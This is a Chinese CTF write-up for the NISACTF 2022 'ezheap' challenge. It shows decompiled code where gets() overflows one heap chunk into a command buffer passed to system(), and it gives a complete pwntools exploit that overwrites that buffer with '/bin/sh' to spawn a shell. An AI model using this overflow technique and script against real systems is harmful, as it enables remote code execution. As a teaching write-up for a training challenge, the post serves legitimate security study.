当前位置: 首页 > news >正文

NSSCTF [NISACTF 2022]ezheap

2058.[NISACTF 2022]ezheap(堆溢出)

[NISACTF 2022]ezheap

1.准备

2.ida分析
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{char *command; // [esp+8h] [ebp-10h]char *s; // [esp+Ch] [ebp-Ch]setbuf(stdin, 0);setbuf(stdout, 0);s = (char *)malloc(0x16u);command = (char *)malloc(0x16u);puts("Input:");gets(s);system(command);return 0;
}

这里先创建两个堆块s和command
然后在s有一个输入点,gets函数,存在堆溢出
并在下面有system函数,内容为command块的内容

3.EXP
思路:

这题有堆溢出和system函数,程序最后会运行system函数,内容为command块的内容
所以我们可以通过堆溢出,从s堆块溢出到command块,写入'/bin/sh',触发连接
通过gdb调试,得到偏移量
在main函数下断点,运行程序
 


一直运行到两个call malloc@plt后,查看堆情况
 


看到这里先要填充28个字节,在给command块一个size值后,就可以在command块填入'/bin/sh'当作它的内容

paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
脚本
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',21394)
io= process('/home/motaly/pwn')
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
io.sendline(paylaod)
io.interactive()

相关文章:

  • 基于 Operator 部署 Prometheus 实现 K8S 监控
  • (14)JVM弹性内存管理
  • 详解K8s API Server 如何处理请求的?
  • pod创建和控制
  • Mac M1 安装 ffmpeg
  • Rockey Linux 安装ffmpeg
  • MATLAB使用多个扇形颜色变化表示空间一个点的多种数值
  • nt!MiInitializeSystemCache函数分析之PointerPte->u.List.NextEntry的由来
  • [ Qt ] | 常用控件(三):
  • ArcGIS Pro 3.4 二次开发 - 地理处理
  • 如何通过ES实现SQL风格的查询?
  • 向量数据库对比和选择:Pinecone、Chroma、FAISS、Milvus、Weaviate
  • 分享9款常用的内网穿透软件
  • 把 CURSOR 的工具活动栏改成和 VSCODE 一样的左侧展示
  • apk- 反编译apktools操作方法——请勿乱用-东方仙盟
  • Mac安装MongoDB数据库以及MongoDB Compass可视化连接工具
  • ABP VNext + Apache Flink 实时流计算:打造高可用“交易风控”系统
  • 修改 Ubuntu Installer 从串口输出的方法
  • 设计模式-单一职责原则
  • C语言学习笔记三 --- V
  • wordpress的站点地址和/百度惠生活推广怎么收费
  • 网站外链分析/seo就业哪家好
  • 网站怎么接入百度地图/百度提交工具
  • 公司注销网站备案/长沙网络优化产品
  • html实例/福州百度seo排名
  • 旅游景区网站建设规划/seo公司官网